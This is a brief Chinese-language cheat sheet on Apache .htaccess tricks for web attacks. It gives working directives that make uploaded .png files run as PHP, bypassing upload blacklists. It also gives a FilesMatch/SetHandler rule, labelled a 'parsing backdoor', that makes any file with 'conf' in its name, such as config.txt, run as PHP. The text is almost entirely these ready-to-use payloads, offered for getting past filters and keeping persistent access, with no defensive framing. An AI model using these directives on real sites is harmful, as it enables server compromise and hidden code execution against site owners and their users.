1.黑名單繞過
上傳.htaccess文件至網站根目錄
內容為
AddType application/x-httpd-php .png
把.png文件后綴解析為php
2.留解析后門
可以在.htaccess 加入php解析規則
類似於把文件名包含特定字符串的文件解析成php
.htaccess內容為
<FilesMatch "conf"> SetHandler application/x-httpd-php </FilesMatch>
這樣config.txt這個文件就會解析為php